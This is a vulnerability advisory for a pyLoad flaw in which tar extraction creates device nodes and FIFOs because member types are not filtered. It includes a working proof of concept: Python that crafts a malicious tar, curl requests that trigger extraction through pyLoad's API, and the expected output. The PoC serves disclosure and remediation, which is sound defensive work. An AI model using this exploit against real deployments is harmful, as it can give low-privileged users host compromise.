CVE-2026-123815: pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)

Published Oct 9, 2026
·
Updated

Summary

UnTar.safeextractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fullytrusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extractpackage).

Details

python plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not iswithindirectory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numericowner=numericowner) # no filter=

No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.

PoC

bash BASE=http://127.0.0.1:8100 craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it .bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF

as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, then trigger extraction curl -s -X POST "$BASE/api/addpackage" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/servicecall" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"servicename":"ExtractArchive.extractpackage","arguments":["<pid>"]}'

ls -l <extract dir> → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) → prw-r--r-- 1 root root pipe (FIFO created) → -rw-r--r-- 1 root root marker.txt

Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)

Impact

With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.

Remediation

In safeextractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.

References

- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).

Other sources

pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev102, UnTar.safeextractall in src/pyload/plugins/extractors/UnTar.py validates archive member paths and link targets but does not call TarInfo.isdev to reject special tar member types before calling tarfile.extractall. On supported Python 3.9 through 3.13 runtimes, tarfile defaults to the fullytrusted extraction filter, so a user with ADD and STATUS permissions can cause extraction of a crafted archive containing character devices, block devices, or FIFOs. Python 3.14 defaults to a safe extraction filter. When pyLoad runs with operating-system privileges that permit device creation, including the official root-based Docker deployment, the archive can expose raw devices and compromise the host. Non-root deployments can still create FIFOs that cause hangs or IPC confusion. This issue is fixed in version 0.5.0b3.dev102.

— MITRE

Affected Software

2 affected components
pyload pyload<0.5.0b3.dev102
pip/pyload-ng<=0.5.0b3.dev101

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 0.5.0b3.dev102
  2. Configuration

    In _safe_extractall, use tarfile.extractall with filter="data" on Python >= 3.12, backport the check for older runtimes, and reject or skip every member that is not a regular file or directory, including members where member.isdev() or member.isfifo() is true.

    pyLoad UnTar tar extraction tarfile extraction filter and member-type validation = filter="data"; reject or skip non-regular-file and non-directory members

Event History

Oct 9, 2026
Advisory Published
via OSV·05:08 PM
Data Sourced
via OSV·05:08 PM
DescriptionSeverityWeaknessAffected Software
Nov 9, 2026
CVE Published
via MITRE·09:13 PM
Data Sourced
via MITRE·09:13 PM
DescriptionWeakness

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203